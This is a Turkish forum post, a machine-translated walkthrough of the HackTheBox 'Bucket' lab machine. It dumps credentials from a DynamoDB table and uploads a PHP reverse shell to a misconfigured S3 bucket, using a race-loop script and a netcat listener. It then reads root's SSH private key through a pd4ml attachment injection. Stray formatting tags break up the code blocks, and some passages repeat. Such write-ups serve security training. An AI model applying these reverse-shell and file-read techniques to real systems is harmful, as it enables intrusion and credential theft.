Öncelikle PC'nizi HackTheBox VPNBucket makinesine bağlayın ve IP'sine ping atarak bağlantınızın olduğundan emin olun 10.10.10.212. Her şey doğru giderse, bilgisayar korsanlığına başlama zamanı. Her zamanki gibi makineyi tarayarak başladım . Scanning nasıl ilerlememiz gerektiği konusunda bize bir fikir verir. Mesela, farklı portlar üzerinden çalışan servislere yardımcı olur banner grabbingve bazen de yardımcı olur vulnerability assessment. Bu görev için kullandım nmap ve sonuç aşağıda verilmiştir:
Tarama
Kod:
$ sudo nmap -sC -sV -oN bucket.nmap 10.10.10.212
Nmap 22 ve 80 numaralı bağlantı noktasının açık olduğunu ortaya çıkardı. OpenSSH bağlantı noktasında çalışıyor 22 ve Apache2 web sunucusu bağlantı noktasında çalışıyor 80. Apache2, 80 numaralı bağlantı noktasında çalıştığından, http://10.10.10.212 URL'si üzerinden çalışan bazı web sitelerimiz olmalıdır . Bu URL'ye gittikten sonra http ://bucket.htb yönlendirmesi bulundu . Bu nedenle, daha fazla numaralandırmaya geçmeden önce, dizinde bulunan dosyamıza IP 10.10.10.212'ye işaret eklemeliyiz . Bu kaydı ana bilgisayarlarıma ekledim bucket.htbhosts /etc/dosya.
Değişiklikten Sonra Dosyayı Barındırın
Kod:
$ cat /etc/hosts
Devam eden http://bucket.htb adresinde Bucket Reklam Platformu başlığı ve bir e-posta adresi bulundu [email protected]. 25 Port 110 ve açık olmadığımız için burada e-posta kullanımı yoktur.
page-source
Bu sayfanın adresini kontrol etmeye çalıştım ve yeni bir alt alan adı aldım
s3.bucket.htb
Bu yüzden daha ileri gitmeden önce bu alt etki alanını dosyama ekledim
Değişiklikten Sonra Dosyayı Barındırın
Kod:
$ cat /etc/hosts
http://s3.bucket.htb URL'sine gittikten sonra bulundu {Status: running}. Bir şey çalışıyor gibi görünüyor. O olduğundan ve aynı zamanda kovalanacak S3 bir ipucu olduğundan , öyle olmalıdır AWS ( Amazon Web Services ) . S3 Bucket kullandığını öğrenmemize rağmen, sayacak hiçbir şeyimiz yok, bu yüzden hiçbir şey kalmadı accept ve .S3 Bucketdirectory bruteforcingfuzzing
Dizin Brute Force
Kod:
$ sudo dirsearch -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://s3.bucket.htb/ -t 50 -e all | tee raft-medium.out
Dizin Brute Force bir klasör buldu shell. URL'deki bu klasöre gittikten sonra http : //s3.bucket.htb/shell/bulundu . Biraz googling yaptıktan sonra , tablonun içeriğini bundan numaralandırabileceğimiz bir yol bulduk . Bu bağlantıyı StackOverflow'ta kontrol edin . Basitçe aşağıdaki kodu içine koyun ve kodu çalıştırmak için çalıştır'a tıklayın . Tablonun içindeki tüm öğelerin ayrıntılarını alacaksınız .DynamoDB JavaScript Shellusers Shell editor users
Kod:
var dynamodb = new AWS.DynamoDB({[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]region: 'us-east-1',
endpoint: "http://s3.bucket.htb"
});
var tableName = "users";
var params = {
TableName: tableName,
Select: "ALL_ATTRIBUTES"
};
function doScan(response) {
if (response.error) ppJson(response.error); // an error occurred
else {
ppJson(response.data); // successful response
// More data. Keep calling scan.
if ('LastEvaluatedKey' in response.data) {
response.request.params.ExclusiveStartKey = response.data.LastEvaluatedKey;
dynamodb.scan(response.request.params)
.on('complete', doScan)
.send();
}
}
}
console.log("Starting a Scan of the table");
dynamodb.scan(params)
.on('complete', doScan)
.send();
Yukarıdaki çıktıdan kimlik bilgilerini bulduk. Mgmt: Management@#1@#, Cloudadm: Welcome123!, Sysadm:n2vM-<_K_Q:.Aa2
SSH'miz için hangisinin doğru kredi olduğunu bilmiyordum . hydra Her biri ile tek tek SSH'yi denedim ve hatta (çevrimiçi kaba kuvvet) kullanarak tüm SSH kombinasyonlarını test etmeye çalıştım, ancak geçerli bir SSH kimlik bilgisi bulunamadı . Burada numaralandırılmış kimlik bilgilerimiz şimdiye kadar işe yaramaz. Her neyse, bu kimlik bilgilerini my 'a ekledim , belki daha fazla numaralandırmada başka bir noktada faydalı olabilir . cherry tree notes
Biraz daha numaralandırmadan sonra, aws komut satırı aracını kullanarak kova içindeki tüm web sunucusunu ve dosyalarını numaralandırmanın bir yolunu bulduk . Aracı kullanmak için önce onu geçerli bir AWS kimlik bilgileriyle yapılandırmamız gerekir . Gerekli kimlik bilgileri , , &' dir ( awscli aracı kullanımını yüklemek için ). Burada aws S3 klasörü yanlış yapılandırılmıştır ve herhangi bir sahte kimlik bilgisi olan herkes bu S3 klasöründe çalışan web sunucusuna erişebilir .awscli awscli AWS Access Key IDAWS Secret Access KeyDefault region nameDefault output format$sudo apt install awscli
Bunu kullanarak, bu kovada çalışan web sunucusuna da erişebildim. Ben bile bu web sunucusuna bir ters kabuk yükleyebilir ve makineme tekrar bağlantı sağlamak için ters kabuğu çalıştırabilirim . fake credential
Ters kabuk elde etmek için aşağıdakileri yapın.
1 . awscli'yi sahte kimlik bilgisi kullanarak ilk kullanım için yapılandırın . Daha fazla bilgi için amazon'daki bu makaleye bakın .
AWS Bucket'e Aws CLI Aracılığıyla Erişme
Kod:
$ aws configure
AWS Erişim Anahtarı Kimliği :AKIAI44QH8DHBEXAMPLE
AWS Gizli Erişim Anahtarı : je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY
Varsayılan bölge adı :us-east-1
Varsayılan çıktı formatı :text
2. S3 klasörünün içeriğini http://s3.bucket.htb adresinde listeleyin.
Kod:
$ aws s3 ls --endpoint-url http://s3.bucket.htb --no-sign-request
Adserver web sunucusu s3.bucket.htb adresindeki grupta çalışıyor .
3. Reklam sunucusu grubundaki içeriği listeleyin .
Kod:
$ aws s3 ls --recursive --human-readable s3://adserver --endpoint-url http://s3.bucket.htb/
4. aws komutunu kullanarak php-reverse-shell betiğinizi image klasörüne kopyalayın [ php-reverse-shell betiğinde IP adresini tun0 IP'nizle değiştirmeyi unutmayın . Shell, Kali işletim sisteminizde ] dizininde bulunabilir .cp /usr/share/webshells/php/
Kod:
$ aws s3 cp ~/HTB/Boxes/Bucket/shell.php s3://adserver/images/shell.php --endpoint-url http://s3.bucket.htb/
5.
reverse-shell
reklam sunucusu grubuna yüklenip yüklenmediğini doğrulamak için resimler klasörünün dosyasını listeleyin .
Kod:
$ aws s3 ls s3://adserver/images/ --endpoint-url http://s3.bucket.htb/
6. Kali makinenizde netcat dinleyicisini başlatın .
$ nc -nvlp 1234
7 . Shell Çalıştırması
Kod:
$ curl --write-out "%{http_code}\n" --silent --output /dev/null http://s3.bucket.htb/adserver/images/shell.php
Muhtemelen shell yüklediğimiz anda silen bir cron işi vardır . Bu yüzden bu işi çok hızlı yapan bir script oluşturdum . Böylece aşağıdaki betiği kullanarak kabuk alabilirsiniz.
Not: Kabuk almak için bu betiği 2 ila 3 kez çalıştırmanız gerekebilir . Bu betiği çalıştırmadan önce, netcat dinleyicinizi kabuk betiğinizde belirttiğiniz belirtilen bağlantı noktasında başlatın.
Kod:
#!/bin/bash[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
echo "List Files."
aws --endpoint-url http://s3.bucket.htb/ s3 ls --recursive --human-readable --summarize s3://adserver
## Copying file from local computer to Bucket
aws --endpoint-url http://s3.bucket.htb/ s3 cp shell.php s3://adserver/images/shell.php
echo "Checking if file is uploaded"
aws --endpoint-url http://s3.bucket.htb/ s3 ls --recursive --human-readable --summarize s3://adserver
# Checking if file exists on web server
echo "Checking on s3.bucket"
curl --write-out "%{http_code}\n" --silent --output /dev/null http://s3.bucket.htb/adserver/images/shell.php
resp=404
# Executing the shell multiple time until get response code 200
while [[ $resp -eq 404 ]]; do
resp=$(curl --write-out "%{http_code}\n" --silent --output /dev/null http://bucket.htb/images/shell.php)
echo $resp
sleep 0.1;
done
Kod:
$ bash exploit.sh
user olarak kullanıcı shellimiz var www-data. Üzerinden daha gelişmiş Linux komutları çalıştırabilmemiz için tam nitelikli Linux shell yetki yükseltelim .
Shell Yetki Yükseltme İşlemi
Kod:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]
$ export TERM=xterm
$ ^Z # CTRL+Z To background the shell
$ stty raw -echo
$ fg # Plus two times enter to foreground the shell
$ stty rows 38 columns 116
Daha önce numaralandırılmış üç kimlik bilgimiz var. roy Bunları tek tek kullanarak kullanıcıya geçmeye çalışalım , roy: n2vM-<_K_Q:.Aa2geçerli kimlik bilgileridir. Roy'a geçelim. Bu aynı zamanda geçerli bir SSH kimlik bilgisidir . Shelimizi kaybetmeniz durumunda, SSH Shelimize geri dönmek için bu kimlik bilgisini kullanın .
Kullanıcı Roy'a Geçiş
Kod:
$ su roy
Password: n2vM-<_K_Q:.Aa2
Kod:
$ whoami
Capture User Flag
Kod:
$ cd ~
Kod:
$ cat user.txt
Ayrıcalık Yükseltme
Ayrıcalığı root'a yükseltmek için önce ayrıcalığı yükseltebileceğimiz bir ayrıcalık yükseltme vektörü bulmalıyız . Bunun için Bucket makinesindelinpeas.sh (bir kullanım sonrası numaralandırma betiği) koştum . Ayrıcalığı root'a yükseltmek için kullanılabilecek tüm potansiyel PrivEsc Vektörlerinin bilgilerini bulur.
PrivEsc Vektörünü Bulma
Linpea'nın şüphelenilen dizini ayrıcalığı artırmak için kullanılabilecek /var/www/bucket-app/aws/bir şeye sahiptir . Linpeas'ın neden potansiyel PrivEsc vektörümüz olduğundan şüphelendiğini suspicious tam olarak bilmiyordum . Manuel olarak kontrol edelim ve bunu kullanıp kullanmayacağımızı onaylayalım.
index.php dizin içindeki dosya, bir tablo hakkında bazı bilgiler ve uç nokta olarak bazı dahili bağlantı noktaları /var/www/bucket-app/verdi . Ortak klasörün içine yerleştirildiğinden ve apache2 çalıştığından , bu bağlantı noktasında dahili web sunucusunun çalışma şansı olabilir. Komutu kullanarak onaylayacağız .alerts 4566 bucket-app$netstat
$ netstat -punta bazı benzersiz bağlantı noktalarını ortaya çıkardı 4566 ve 8000 yerel olarak dinliyor.
Bu portlar üzerinden çalışan hizmetlere erişmek için, bu hizmetleri yerel makinemize yönlendirmeliyiz , böylece onlara web tarayıcımızdan erişebiliriz . Kullanıcının SSH kimlik bilgisine sahibiz : , bu nedenle bu hizmetlere erişmek için yerel makinemize gidebiliriz . Yerel port yönlendirme yapalım .roy royn2vM-<_K_Q:.Aa2Local Port Forward
index.php dizin içindeki dosya, bir tablo hakkında bazı bilgiler ve uç nokta olarak bazı dahili bağlantı noktaları /var/www/bucket-app/verdi . Ortak klasörün içine yerleştirildiğinden ve apache2 çalıştığından , bu bağlantı noktasında dahili web sunucusunun çalışma şansı olabilir. Komutu kullanarak onaylayacağız .alerts 4566 bucket-app$netstat
$ netstat -punta bazı benzersiz bağlantı noktalarını ortaya çıkardı 4566 ve 8000 yerel olarak dinliyor.
Bu portlar üzerinden çalışan hizmetlere erişmek için, bu hizmetleri yerel makinemize yönlendirmeliyiz , böylece onlara web tarayıcımızdan erişebiliriz . Kullanıcının SSH kimlik bilgisine sahibiz : , bu nedenle bu hizmetlere erişmek için yerel makinemize gidebiliriz . Yerel port yönlendirme yapalım .roy royn2vM-<_K_Q:.Aa2Local Port Forward
Yerel Port Yönlendirme Gerçekleştirme
Kod:
$ ssh -L 8000:127.0.0.1:8000 -L 4566:127.0.0.1:4566 [email protected][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]
~n2vM-<_K_Q:.Aa2
Kod:
$ ss -lnpt # Check for listening port on your local machine
Kali makinemizdeki komutla onaylanabileceği gibi, bağlantı noktasını $ss –lnpt Kali makinemize başarıyla ilettik . Artık http://127.0.0.1:8000/ & http://127.0.0.1:4566 URL'sini ziyaret ederek portta ve web tarayıcımızda çalışan hizmetleri kontrol edebiliriz . 8000 4566
Yapım aşamasında, URL'de http://127.0.0.1:8000 gösterilir .
Running status http://127.0.0.1:4566 URL'sinde gösterilir . index.php Daha fazla bilgi için adresindeki dosyayı tekrar kontrol edelim /var/www/bucket-app/ .
POST requestBu dosyaya göre bazı verileri tablonun içine kabul ettikten sonra yapıyor alerts. Bu tablo ayrıca , ve in gibi bazı ek değerler de ister . Kök kullanıcıyı elde etmek için bu özelliği kullanacağız . Bu sayfanın nasıl çalıştığı hakkında daha fazla bilgi için bu makaleye göz atabilirsiniz .Ransomewareget_alerts()filePost Dataprivate SSH key
Bu özellikten yararlanmak ve kök kullanıcının özel anahtarını almak için aşağıdakileri yaptım.
1. Yeni bir DynamoDB tablo oluşturuldu alerts.
2. Tablo uyarılarına yükümüzle birlikte istenen değerleri ekledik .
3. Sonunda POST talep edildiği gibi bazı ek verilerle talepte bulunuldu.
Bu işi gerçekleştirmek için bir komut dosyası oluşturdum . Komut dosyasını bir dosyaya kopyalayın ve uzantıyla kaydedin . ve osh execute
Kod:
#!/bin/bash[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]echo "Creating New Table"
echo "======================================"
# Creating New Table alerts
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566
echo "======================================"
echo "Writing Data to alerts and putting in the file attacked.txt"
# Writing Data to table alerts
aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"attached.txt\" icon=\"PushPin\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566
echo "======================================"
echo "Making Post Requests"
# Making Post Request with data "action=get_alerts"
curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/index.php
echo "Done"
echo "Go to http://127.0.0.1:8000/files/ and download the attachment"
Kod:
$ bash command.sh
Simgeye tıklayarak eki indirmek için http://127.0.0.1/files/result.pdf URL'sine gidelim pin .
Ek, id_rsa root kullanıcının anahtarıdır.
Kod:
$ cat ~/Downloads/id_rsa
SSH private key Kova makinesine root olarak giriş yapmak için bunu kullanalım .
Root Shelle Ulaşalım
Kod:
$ cp ~/Downloads/id_rsa .
Kod:
$ chmod 400 id_rsa
Kod:
$ ssh -i id_rsa [email protected]
Kod:
# whoami && id
Artık Root olduk, root bayrağını yakalayalım.
Capture Root Flag
Kod:
#cat root.txt
KAYNAK : ethicalhacs
Not: Konuyu Elimden Geldiği Kadar Türkçeleştirmeye çalıştım.Bir Hatam varsa Lütfen konu altında bildirin düzeltiyim.
Teşekkürler.
Son düzenleme: